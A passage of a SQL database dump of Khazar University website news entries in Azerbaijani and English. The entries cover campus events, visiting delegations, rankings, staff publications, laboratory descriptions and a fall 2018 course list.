17-də respublikanın bir sıra media orqanları Xəzər Universitetinin Humanitar və sosial elmlər fakültəsinin məzunu, hazırda İtaliyanın Sapienza Universitetində doktorantura təhsili alan Azərbaycan-İtaliya Gənclər&nbsp;Assosasiyasının  həmsədri Emin Rüstəmovla müsahibəni yayınlamışdır.</p><p>Müsahibəni bu linklər vasitəsilə oxumaq olar:</p><p><a href=\"http://modern.az/az/news/146243\">http://modern.az/az/news/146243</a></p><p><a href=\"http://ucnoqta.az/news/51369\">http://ucnoqta.az/news/51369</a></p><p><a href=\"http://www.dia.az/8/158012-nalbandyani-susduran-azerbaycanli-telebe.html\">http://www.dia.az/8/158012-nalbandyani-susduran-azerbaycanli-telebe.html</a></p><p><a href=\"http://mektebgushesi.az/2017/10/17/nalbandyani-susduran-azərbaycanli-tələbə-yenə-eyni-halla-qarsilassam-eyni-addimi-ataram\">http://mektebgushesi.az/2017/10/17/nalbandyani-susduran-azərbaycanli-tələbə-yenə-eyni-halla-qarsilassam-eyni-addimi-ataram</a>.</p>'),(4496,2665,'az','Malayziya Perlis Universitetinin nümayəndə heyəti Xəzər Universitetində oldu','2017-ci il noyabrın 22-də Malayziya Perlis Universitetinin akademik və administrativ işçiləri və tələbələrindən ibarət olan heyət Xəzər Universitetinin...','<p>2017-ci il noyabrın 22-də Malayziya Perlis Universitetinin akademik və administrativ işçiləri və tələbələrindən ibarət olan heyət Xəzər Universitetinin “Neftçilər” kampusunda qonaq oldular.</p><p>Tədbirin əsas məqsədi iki universitet arasında əməkdaşlıq əlaqələrinin qurulması, anlaşma memorandumunun imzalanması və hər iki universitetin tələbə-liderlərinin görüşü idi. Beynəlxalq Əlaqələr Şöbəsinin təşkil etdiyi görüşdə Malayziyanın Azərbaycandakı səfiri cənab Dato Roslan Tan Sri Abdul Rahman, səfirin birinci katibi xanım Azri Hazwani Abdul Aziz, səfirin tərcüməçisi xanım Mövlanə Məmmədzadə və Perlis əyalətinin şahzadəsi və Malayziya Perlis Universitetinin rektoru Tuanku Syed Faizuddin Putra İbni Tuanku Syed Sirajuddin Jamalullail, universitetin akademik və administrativ işçiləri və tələbələri iştirak edirdilər. Xəzər Universitetindən rektor Dr. Hassan Niknafs, Akademik işlər üzrə prorektor professor Məhəmməd Nuriyev, Elmi işlər üzrə prorektor Dr. İradə Xəlilova, İctimaiyyətlə əlaqələr və media üzrə direktor Əlövsət Əmirbəyli, Beynəlxalq Əlaqələr Şöbəsinin heyəti və Xəzər Universitetinin Mühəndəslik və tətbiqi elmlər fakültəsinin akademik və administrativ işçi heyəti, müəllim və tələbələri iştirak edirdilər.</p><p>Giriş sözü ilə tədbiri Beynəlxalq Əlaqələr Şöbəsinin direktoru Turan Cəfərova açdı, tədbirin gündəliyini nəzərdən keçirdi və qonaqları salamlamaq üçün sözü Xəzər Universitetinin rektoru Dr. Hassan Niknafsa verdi. Rektor qonaqları salamlayaraq, görüşün əhəmiyyətini vurğuladı və iki universitet arasında gələcək əməkdaşlıq planları haqqında danışdı. Daha sonra söz Perlis əyalətinin şahzadəsi və Malayziya Perlis Universitetinin rektoru Tuanku Syed Faizuddin Putra İbni Tuanku Syed Sirajuddin Jamalullailə verildi. Malayziya Perlis Universitetinin rektoru Xəzər Universitetinə ən xoş arzularını çatdırdı və tədbirin yüksək səviyyədə təşkil olunmasına görə minnətdarlığını bildirdi, həmçinin bu tədbirin iki universitetin inkişafı üçün böyük əhəmiyyət kəsb etdiyini bildirdi. Malayziyanın Azərbaycandakı səfiri cənab Dato Roslan Tan Sri Abdul Rahman səfirliyin Xəzər Universiteti ilə təhsil sahəsində olan əməkdaşlığı haqqında danışdı. Səfir Malayziya Perlis Universitetinin ölkənin mühəndislik sahəsində mütəxəssis hazırlayan aparıcı dövlət universitetlərindən biri olduğunu vurğulayaraq, bildirdi ki, gələcəkdə Malayziyanın digər ali təhsil müəssisələri ilə əməkdaşlıq əlaqələrinin qurulmasında dəstək göstərəcək.</p><p>Tədbirdə hər iki universitetin nümayəndələri universitetləri haqqında təqdimatlarla çıxış etdilər. Təqdimatlardan sonra fikir mübadiləsi aparmaq və hər iki tərəfdən olan iştirakçıların suallarını cavablandırmaq üçün sual-cavab sessiyası keçirildi. Müzakirədən sonra universitetlər arasında anlaşma memorandumu imzalandı.</p><p>Qısa çay fasiləsindən sonra tədbir iki universitetin tələbələrinin çıxışları ilə davam etdi. Malayziyanın Perlis Universitetinin tələbələri bu səfərdən çox məmnun qaldıqlarını və yeni dostlar qazandıqlarını bildirdilər. Xəzər Universitetinin Mühəndislik və tətbiqi elmlər fakültəsində təhsil alan yerli və əcnəbi tələbələr də öz təəssüratlarını bölüşdülər.</p><p>Tədbirin sonunda Xəzər Universitetindən Malayziya Perlis Universitetinin rəhbərliyinə və tələbələrinə xatirə hədiyyələri təqdim olundu. Qonaqlar da həmçinin Xəzər Universitetin rəhbərliyinə xatirə hədiyyələrini təqdim etdilər.</p><p>Tədbirin yekunu olaraq, qonaqlar üçün Xəzər Universitetin “Neftçilər” kampusunda ekskursiya təşkil olundu. Ekskursiya zamanı qonaqlar Xəzər Universitetinin kitabxanası, mədəniyyət mərkəzi, komtüper mərkəzləri və laboratoriyalar ilə tanış oldular.</p>'),(4295,2535,'en','Khazar University is among top 100 Universities in Emerging Europe and Central Asia 2018','On October 17, QS released its annual QS University Rankings: Emerging...','<p>On October 17, QS released its annual QS University Rankings: Emerging Europe &amp; Central Asia 2017/18.</p><p>Top 250 universities out of 20 EECA countries&nbsp;- Azerbaijan, Belarus, Bosnia and Herzegovina, Bulgaria, Croatia, Czech Republic, Estonia, Hungary, Kazakhstan, Kyrgyzstan, Latvia, Lithuania, Poland, Romania, Russia, Serbia, Slovakia, Slovenia, Turkey and Ukraine- have been included to the list.</p><p>According to the ranking, Khazar University is ranked on the 100th place and it is one of the top 3.4% universities of the region.</p><p>Khazar University performed best in the employer reputation, international staff and international students indicators, ranking number 1 in Azerbaijan.</p><p>For more information, you can visit the following link:</p><p><a href=\"https://www.topuniversities.com/university-rankings/eeca-rankings/2018\">https://www.topuniversities.com/university-rankings/eeca-rankings/2018</a>.  <br></p>'),(4297,2536,'en','Meeting with Kainat Education Center and its Former Pupils','On October 17, 2017, a meeting with students who attended preparation courses organized...','<p>On October 17, 2017, a meeting with students who attended preparation courses organized by Kainat Education Center was held at Neftchiler Campus of Khazar University.</p><p>Turan Jafarova, Director of International Affairs Office opened the event by welcoming all participants and thanking Kainat Education Center for their cooperation in student recruitment. In the current academic year of 2017-2018 forty students who attended preparation courses at Kainat selected to study at Khazar University. It should be noted that 25 of 40 students are alumni of the “Build Your Future,” a youth support project carried out with the corporate social responsibility policy of several local and international companies that aims at sustainable development of Azerbaijani youth through access to higher education and social integration. Khazar University and Kainat Education Center are academic partners of the “Build Your Future” project.</p><p>Dr. Hassan Niknafs, Rector of Khazar University and the acting Dean of the School of Engineering and Applied Sciences, was the first one to address the students. Dr. Niknafs congratulated the students with their admission to Khazar University and wished them success in their studies. Dr. Jeyhun Mammadov, Dean of School of Economics and Management, Ms. Zarifa Aliyeva Vice-Dean of School of Education, Dr. Jabir Khalilov, Dean of School of Humanities and Social Sciences congratulated young people on becoming students of one of the leading higher education institutions in Azerbaijan and delivered short speeches about their schools, and activities students could engage in. Mr. Ilqar Agakishiyev, founder and director of Kainat Education Center also congratulated the students and expressed his satisfaction from collaborating with Khazar University.</p><p>Founder of Khazar University, Chairman of its Board of Directors and Trustees, Professor Hamlet Isakhanli delivered a short speech about importance of education and shared his personal story about his student life.</p>'),(5963,3408,'az','Ağdaşlı iki qardaş yüksək bal toplayaraq, Xəzər Universitetini seçdilər','2018/2019-cu tədris ilinin qəbul imtahanlarında Ağdaş rayonu Ləki qəsəbəsindəki 6 saylı tam orta...','<p>2018/2019-cu tədris ilinin qəbul imtahanlarında Ağdaş rayonu Ləki qəsəbəsindəki 6 saylı tam orta məktəbin məzunları olan iki qardaş –&nbsp;Tamerlan və Tuqay Abdullayevlər hər ikisi 690 bal toplayaraq, Xəzər Universiteti Mühəndislik və Tətbiqi Elmlər fakültəsinin, müvafiq olaraq, Kompüter mühəndisliyi və Kompüter elmləri ixtisaslarına qəbul olunmuşlar.</p><p>Bu haqda daha geniş məlumatı bu link vasitəsilə əldə etmək olar:&nbsp;</p><p><a href=\"http://www.azerbaijan-news.az/view-153689/Bu-il-Ağdaşdan-ali-məktəblərə-qəbul-olunanların-sayı-artıb\">http://www.azerbaijan-news.az/view-153689/Bu-il-Ağdaşdan-ali-məktəblərə-qəbul-olunanların-sayı-artıb</a>.</p>'),(5961,3407,'az','Dr. Telman Nüsrətoğlunun məqaləsi “Türkiyə” qəzetində','2018-ci il sentyabrın 7-də Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi...','<p>2018-ci il sentyabrın 7-də Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi Dr. Telman Nüsrətoğlunun Türkiyənin ən böyük qəzetlərindən biri olan “Türkiyə” qəzetində Suriyadakı proseslərlə bağlı “İdlib düğümü ve Suriye’nin geleceği” adlı məqaləsi çap edilmişdir.</p><p>Məqaləni bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://www.turkiyegazetesi.com.tr/yazarlar/genis-aci-fikir-ve-tartisma/604056.aspx\">http://www.turkiyegazetesi.com.tr/yazarlar/genis-aci-fikir-ve-tartisma/604056.aspx</a>.</p>'),(5245,3041,'az','Şəkidə tanınmış ziyalı, riyaziyyatçı-alim, şair Hamlet İsaxanlı ilə görüş oldu','2018-ci il martın 13-də Şəki Dövlət Dram teatrında Şəki Şəhər İcra Hakimiyyətinin dəstəyi ilə...','<p>2018-ci il martın 13-də Şəki Dövlət Dram teatrında Şəki Şəhər İcra Hakimiyyətinin dəstəyi ilə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının həyat və yaradıcılığına həsr edilmiş “Bu dünyaya nə gətirdim” adlı ədəbi-bədii gecə keçirildi. Gecəyə dəvət olunan qonaqlar əvvəlcə foyedə nümayiş etdirilən foto-sərgi ilə tanış oldular. Musiqi və incəsənət departamentinin müdiri Zülfiyyə Sadıqovanın rəhbərlik etdiyi Xəzər Universitetinin Kamera Orkestrinin, respublikanın xalq artistləri Azər Zeynalov, Alim Qasımov, əməkdar artistlər Elza Seyidcahan, Fərid Əliyev, Fərqanə Qasımova və Rasimə Seyidcahanın ifasında Hamlet İsaxanlının sözlərinə bəstələnmiş mahnılar ifa olundu. Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbinin müəllimlərinin səsləndirdiyi şeirləri salondakılar alqışlarla qarşıladılar.</p><p>Tədbirin sonunda professor Hamlet İsaxanlı sürəkli alqışlar altında səhnəyə dəvət edildi. H.İsaxanlı çıxış edərək, yüksək səviyyədə təşkil olunan tədbirə görə Şəki Şəhər İcra Hakimiyyətinin rəhbərliyinə, Şəki şəhər ictimaiyyətinə və tədbirin həyata keçirilməsində zəhməti olan hər kəsə dərin təşəkkürünü bildirdi. O, Şəki Şəhər İcra Hakimiyyətinin başçısı Elxan Usubova Xəzər Universiteti adından hədiyyə təqdim etdi. Sonra Şəki Şəhər İcra Hakimiyyətinin başçısı E.Usubov Professor&nbsp;İsaxanlının həyat və yaradıcılığına həsr edilmiş maraqlı gecəyə görə şəxsən Hamlet İsaxanlıya, Xəzər Universitetinin kollektivinə dərin təşəkkürünü bildirdi, öz adından və şəhər administrasiyası adından Hamlet İsaxanlıya hədiyyələrini təqdim etdi.</p><p>Tədbirdən sonra Xəzər Universiteti tərəfindən Şəkidəki restoranlardan birində ziyafət verildi.</p>'),(5241,3039,'az','Startup layihəsinin yekun təqdimatı: Mobil telefona zəng xəbərdarlığı sensoru sınaqdan çıxdı','2018-ci il martın 14-də Xəzər Universiteti Elektronika və telekommunikasiya departamentində...','<p>2018-ci il martın 14-də Xəzər Universiteti Elektronika və telekommunikasiya departamentində Startup layihə qalibi olan “GSM-900 modulu ilə mobil telefona zəng xəbərdarlığı edən qaz sensoru” üzrə yekun texniki təqdimat keçirildi. Bu məhsul mikrokontrollerlə idarə olunan və məişət qaz iyinə həssas olan sensorlardan və GSM modulundan ibarət olub, onun köməyilə cib telefonlarına xəbərdarlıq göndərilir. Layihənin koordinatoru Elektronika və telekommunikasiya departmentinin müdiri Nuru Səfərovdur. Bu layihənin həyata keçirilməsində 3 nəfərlik komanda heyəti çalışmışdır: Muhəmməd Əlizadə (elektronika mühəndisliyi ixtisası), Adil Babayev (elektronika mühəndisliyi ixtisası), Ləman Seyfiyeva (fizika müəllimliyi ixtisası). Təqdimat uğurlu alınmışdır və yeni yaradılan cihaz sənaye və məişətdə istifadəyə yararlıdır. Siqnalizator Xəzər Universitetinin təmsil olunduğu sərgilərdə nümayiş oluna bilər. Həmçinin, onu biznes təklif olaraq, müəyyən maraqlı qurumlara təqdim etmək mümkündür.</p>'),(4298,2537,'az','Romans müsabiqəsi qaliblərinin təqdimat mərasimi keçirilib','Xəbər verildiyi kimi, Azərbaycan Televiziyası “Mədəniyyət” kanalının bu ilin may ayında elan etdiyi bəstəkarlar arasında romans janrında...','<p>Xəbər verildiyi kimi, Azərbaycan Televiziyası “Mədəniyyət” kanalının bu ilin may ayında elan etdiyi bəstəkarlar arasında romans janrında yazılan əsərlərin respublika müsabiqəsinin 10 qalibi arasında “Dünya” məktəbinin müəllimi, bəstəkar Sevda Rəhimovanın Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının “İkimizdən birimiz” adlı şeirinə bəstələdiyi eyni adlı romans da vardı.</p><p>Oktyabrın 17-də Beynəlxalq Muğam Mərkəzində müsabiqə qaliblərinin təqdimat mərasimi keçirilib. “Mədəniyyət” kanalının direktoru, müsabiqənin təşəbbüskarı Ramil Qasımov və əməkdar incəsənət xadimi Elnarə Dadaşova çıxış edərək, layihənin romans janrına, ümumiyyətlə, Azərbaycan mədəniyyətinə verdiyi töhfələrdən danışıblar.</p><p>Sonra qalib romanslar ifa olunub. Bəstəkar Sevda Rəhimovanın “İkimizdən birimiz” romansını Xəzər Universitetinin Kamera orkestrinin müşayiəti ilə (bədii rəhbər Xəzər Universiteti Musiqi və incəsənət departamentinin müdiri, dosent, əməkdar müəllim, pianoçu Zülfiyyə Sadıqova) müğənnilər Anton Ferştandt və Səidə Şərifəliyeva ifa ediblər.</p><p>Tədbirdə bəstəkar Sevda Rəhimova, Professor Hamlet İsaxanlı və Xəzər Universitetinin əməkdaşları iştirak edirdilər.</p><p>Tədbir haqqında mediada xəbərlər yayımlanmışdır:</p><p style=\"font-size:large\"><a href=\"http://news.lent.az/news/285957\">http://news.lent.az/news/285957</a></p><p style=\"font-size:large\"><a href=\"https://apa.az/medeniyyet-xeberleri/incesenet-haqqinda/yeni-romanslar-musabiqesinin-qaliblerinin-teqdimetme-merasimi-kecirilib-7138.html\">https://apa.az/medeniyyet-xeberleri/incesenet-haqqinda/yeni-romanslar-musabiqesinin-qaliblerinin-teqdimetme-merasimi-kecirilib-7138.html</a></p><p style=\"font-size:large\"><a href=\"https://az.trend.az/azerbaijan/culture/2809805.html\">https://az.trend.az/azerbaijan/culture/2809805.html</a></p>'),(4786,2846,'az','Laboratoriya','Laboratoriya','<h3>1-<strong>Nanotechnology\r\nLaboratory</strong></h3>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\">The Nanotechnology Lab is a teaching and\r\nresearch facility, designed to give undergraduate and graduate students a\r\npractical insight into different nanoscale characterization and synthesis methods.\r\nOur Lab research interests span over a broad range of applications. Mainly we\r\nuse electrospinning devices to produce nanofibers for biomedical (e.g. tissue\r\nengineering and drug delivery), technological (e.g. organic electronics and\r\nphotovoltaic) and industrial (e.g. filtration and membrane) uses. &nbsp;&nbsp;<br>\r\nIn addition, various tools such as Electron Discharge Machining (EDM) is implemented\r\nin this lab to synthesize nanofluids and investigating their characteristics\r\nand applications. </p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><strong><br></strong></p><p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Principal Researchers:</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><a href=\"http://www.khazar.org/files/engineering/CV%20Rasoul%20Moradi.pdf\">Dr. Rasoul Moradi</a></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><a href=\"http://www.khazar.org/files/engineering/syllabi/CV_2017_Mirsadegh%20Seyedzavvar.pdf\">Dr. Mirsadeg Seyyedzavvar</a></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><strong><br></strong></p><p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Contact email:</strong></p><p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><strong></strong><a href=\"http://mailto:rmoradi@khazar.org\">rmoradi[at]khazar.org</a></p><p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><br></p><table style=\"border:0px\"><tbody><tr><td style=\"text-align:center\">&nbsp;<img src=\"http://www.khazar.org/files/engineering/images/Picture1.jpg\" style=\"border:0px #000000;width:300px;height:208px;margin-left:7px;vertical-align:baseline\"></td><td style=\"text-align:center\"><img src=\"http://www.khazar.org/files/engineering/images/Picture4.jpg\" style=\"border:0px #000000;width:300px;height:208px;vertical-align:baseline\"></td></tr><tr><td style=\"text-align:center\">&nbsp;<strong>Microcapsule for drug encapsulation</strong></td><td style=\"text-align:center\"><strong> Nanofiber scaffolds for different applications </strong>  <br></td></tr><tr><td style=\"text-align:center\">&nbsp;<img src=\"http://www.khazar.org/files/engineering/images/Picture3.jpg\" style=\"border:0px  #000000;width:300px;height:230px;vertical-align:baseline\"></td><td style=\"text-align:center\">&nbsp;<img src=\"http://www.khazar.org/files/engineering/images/Picture2.jpg\" style=\"border:0px #cc0000;width:219px;height:300px;vertical-align:baseline\"></td></tr><tr><td style=\"text-align:center\"><span style=\"color:#cc0000;white-space:pre\"><strong><span style=\"color:#000000\">Electrospinning on the drum surface </span> <br></strong></span></td><td style=\"text-align:center\"><strong>&nbsp;Electrospinning setup</strong></td></tr></tbody></table><br>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><br></p><h3><strong>2</strong>- <strong>Analytical Chemistry Lab</strong>\r\n</h3><p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\">Analytical Chemistry Laboratory provides a\r\nbroad range of analytical chemistry support services to the scientific and\r\nengineering programs.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><strong><br></strong></p><p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Principal Researchers:</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><a href=\"http://www.khazar.org/files/engineering/CV%20Rasoul%20Moradi.pdf\">Dr. Rasoul Moradi</a></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><a href=\"http://www.khazar.org/files/engineering/JestinMandumpal_resume.pdf\">Dr. Jestin Mandumpal</a></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><strong><br></strong></p><p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Contact email:</strong></p><p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><strong></strong><a href=\"http://mailto:jmandumpal@khazar.org\">jmandumpal[at]khazar.org</a></p>'),(4299,2538,'az','Humanitar və sosial elmlər fakültəsinin əməkdaşının məqaləsi çap olundu','Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan müavini, Xəzər Psixoloji Xidmət...','<p>Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan müavini, Xəzər Psixoloji Xidmət Mərkəzinin direktoru Mələk Kərimovanın (doktorant) “İncəsənətin insana psixoloji təsiri və təhsildə onun əhəmiyyəti” adlı məqaləsi rus dilində Taras Şevçenko adına Kiyev Dövlət Universitetinin Dmitri Buraqo nəşriyyat evində “Dil və Mədəniyyət” jurnalının 2017-ci il 2-ci sayı (187), 20-ci buraxılışında çap edilmişdir. (ISSN 2522-493X,UDK 821.01.00).</p><p>Məqalədə incəsənətin insanın psixikasına təsirləri tədqiqatlar əsasında şərh edilmiş və öyrənmədə incəsənətin müxtəlif sahələrindən istifadəsinin əhəmiyyəti üzərində durulmuşdur. Estetik zövqün inkişaf etdirilməsinin öyrənməyə müsbət təsirləri qeyd edilərək təkliflər verilmişdir.</p><p>Məqaləni bu link vasitəsilə oxumaq olar:&nbsp;</p><p><a href=\"http://www.burago.com.ua/attachments/article/1580/187.pdf\">http://www.burago.com.ua/attachments/article/1580/187.pdf</a>.</p>'),(4915,2870,'az','Xəzər Universitetinin rektoru Tükriyənin Ankarada yerləşən Qazi Universitetində olub','2018-ci il yanvarın 19-da Xəzər Universitetinin rektoru Dr. Hassan Niknafs Tükriyənin Ankarada yerləşən Qazi Universitetində olub...','<p>2018-ci il yanvarın 19-da Xəzər Universitetinin rektoru Dr. Hassan\r\nNiknafs Tükriyənin Ankarada yerləşən Qazi Universitetində olub və universitetin\r\nrektoru Prof. İbrahim Uslan və prorektor Prof. Yaşar Aydemir ilə görüşüb.</p>\r\n<p>Səfərin əsas məqsədi Mevlana və Erasmus+ proqramı çərçivəsində\r\ntələbə mübadiləsi aparmaq imkanlarını araşdırmaq olub. Görüşdə, həmçinin,\r\nuniversitetlər arasında Mülki mühəndislik sahəsi üzrə (bakalavr dərəcəsi) ikili\r\ndərəcə proqramını həyata keçirmək imkanları da müzakirə edilib.</p>'),(4301,2537,'en','Presentation ceremony of romance contest winners','As it was reported, a romance ‘One of us’ composed by Sevda Rahimova, a composer and an instructor of ‘Dunya’ school, to the poem...','<p>As it was reported, a romance ‘One of us’ composed by Sevda Rahimova, a composer and an instructor of ‘Dunya’ school, to the poem by Professor Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, was among the 10 winners of the ‘Republican Contest of Composers’ Works produced in the Romance Genre’, announced by Culture TV of Azerbaijan Television in May, 2017.</p><p>On October 17, the International Mugam Centre hosted the Presentation of the Contest winners. Ramil Gasimov, a director of ‘Culture’ TV Channel, an initiator of the contest and Elnara Dadashova, Honoured Art Worker, spoke about the project\'s contribution to the genre of Romance, and, in general, the culture of Azerbaijan.</p><p>Then, the winning romances were performed. The romance ‘One of us’ was performed by Anton Fershtandt and Saida Sharifaliyeva and was accompanied by the Khazar University Chamber Orchestra (led by Zulfiyya Sadigova, Head of the Department of Music and Fine Arts, Associate Professor, Honored Teacher, Pianist).</p><p>The event was attended by composer Sevda Rahimova, Professor Hamlet Isakhanli, and Khazar University staff.</p><p>News about the event has been released in the media:</p>  <p><a href=\"http://news.lent.az/news/285957\">http://news.lent.az/news/285957</a></p><p><a href=\"https://apa.az/medeniyyet-xeberleri/incesenet-haqqinda/yeni-romanslar-musabiqesinin-qaliblerinin-teqdimetme-merasimi-kecirilib-7138.html\">https://apa.az/medeniyyet-xeberleri/incesenet-haqqinda/yeni-romanslar-musabiqesinin-qaliblerinin-teqdimetme-merasimi-kecirilib-7138.html</a></p><p><a href=\"https://az.trend.az/azerbaijan/culture/2809805.html\">https://az.trend.az/azerbaijan/culture/2809805.html</a></p>'),(4302,2539,'en','Conference','Conference','Conference'),(4303,2539,'az','Conference','','Conference'),(4221,2472,'en','Seminar on \"Discovering Happiness\"','Prof. Dr. Mohan Krishna will present a seminar entitled \"Discover the Happiness\" on...','<p><img src=\"/files/letters/POSTER-RUHHALI.jpg\" style=\"border:0px  #000000;width:400px;height:563px;margin-right:7px;margin-bottom:7px;float:left\">Prof. Dr. Mohan Krishna will present a seminar entitled \"Discover the Happiness\" on October 10, 2017, at 15:00, on the occasion of World Mental Health Day, organised by the department of Psychology and Khazar Psychological Service Centre (Room 102N).</p><p>Everyone interested is welcome to the seminar.</p>'),(1592,989,'az','Payız  Kursları 2018','Fall  Courses 2018','<p><strong><a href=\"http://www.khazar.org/files/pdf/cources/fall2016.pdf\"></a> </strong></p><p><strong>Xəzər Universiteti<br></strong></p>\r\n<p><strong>Mühəndislik və Tətbiqi Elmlər Fakultəsi</strong></p>\r\n<p><strong>Payız&nbsp;2018</strong></p><p><br></p><table cellpadding=\"0\" cellspacing=\"0\" width=\"759\" style=\"\" border-collapse:collapse;width:569pt\";border-width:1px;border-style:solid\"=\"\">\r\n <tbody><tr height=\"42\">\r\n  <td height=\"42\" width=\"85\"></td></tr></tbody></table><table cellpadding=\"0\" cellspacing=\"0\" width=\"841\" style=\"\" border-collapse:collapse;width:631pt\";border-width:1px;border-style:solid\"=\"\">\r\n <tbody><tr height=\"21\">\r\n  <td height=\"21\" width=\"85\">ENGL 101</td>\r\n  <td width=\"384\">English\r\n  foundation 1 A</td>\r\n  <td width=\"96\">4</td>\r\n  <td width=\"203\">Adila Malikova</td>\r\n  <td width=\"73\">English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" class=\"xl82\" width=\"85\" style=\"\" height:15.75pt;border-top:none;width:64pt\"\"=\"\">ENGL 101</td>\r\n  <td width=\"384\">English\r\n  foundation 1 B</td>\r\n  <td width=\"96\">4</td>\r\n  <td width=\"203\">Ayten\r\n  Mammadova</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" class=\"xl82\" width=\"85\" style=\"\" height:15.75pt;border-top:none;width:64pt\"\"=\"\">ENGL 101</td>\r\n  <td width=\"384\">English\r\n  foundation 1 C</td>\r\n  <td width=\"96\">4</td>\r\n  <td width=\"203\">Konul\r\n  Mammadova</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" class=\"xl82\" width=\"85\" style=\"\" height:15.75pt;border-top:none;width:64pt\"\"=\"\">ENGL 101</td>\r\n  <td width=\"384\">English\r\n  foundation 1 D</td>\r\n  <td width=\"96\">4</td>\r\n  <td width=\"203\">Khanim\r\n  Ahmadova</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" class=\"xl83\" width=\"85\" style=\"\" height:15.75pt;border-top:none;width:64pt\"\"=\"\">ENGL 102</td>\r\n  <td>English foundation 2</td>\r\n  <td width=\"96\">4</td>\r\n  <td width=\"203\">Nahida\r\n  Guliyeva</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" class=\"xl83\" width=\"85\" style=\"\" height:15.75pt;border-top:none;width:64pt\"\"=\"\">ENGL 216</td>\r\n  <td width=\"384\">ESP\r\n  (petroleum/chemical)</td>\r\n  <td width=\"96\">3</td>\r\n  <td width=\"203\">Adila\r\n  Malikova</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" class=\"xl83\" width=\"85\" style=\"\" height:15.75pt;border-top:none;width:64pt\"\"=\"\">ENGL 216</td>\r\n  <td>ESP\r\n  (civil/mechanical)</td>\r\n  <td width=\"96\">3</td>\r\n  <td width=\"203\">Mirsadeg\r\n  Seyedzavvar</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" class=\"xl83\" width=\"85\" style=\"\" height:15.75pt;border-top:none;width:64pt\"\"=\"\">ENGL 216</td>\r\n  <td>ESP(computer) A</td>\r\n  <td width=\"96\">3</td>\r\n  <td width=\"203\">Adila\r\n  Malikova</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" class=\"xl83\" width=\"85\" style=\"\" height:15.75pt;border-top:none;width:64pt\"\"=\"\">ENGL 216</td>\r\n  <td>ESP(computer) B</td>\r\n  <td width=\"96\">3</td>\r\n  <td width=\"203\">Sevinj\r\n  Isgandarova</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PETE 202</td>\r\n  <td>Introduction to\r\n  Petroleum Engineering</td>\r\n  <td>3</td>\r\n  <td>Elshan Aliyev</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">GEOL 310</td>\r\n  <td>&nbsp;Petroleum Geology&nbsp;</td>\r\n  <td>3</td>\r\n  <td>Gasham Zeynalov</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PETE 415</td>\r\n  <td>Gas and\r\n  Gas-Condensate Reservoir Engineering</td>\r\n  <td>3</td>\r\n  <td>Tahir Mammadov</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PETE 302</td>\r\n  <td>Drilling Engineering</td>\r\n  <td>3</td>\r\n  <td>Samir Valiyev</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PETE 303</td>\r\n  <td>Physics of Oil and\r\n  Gas reservoirs&nbsp;</td>\r\n  <td>3</td>\r\n  <td>Vefa 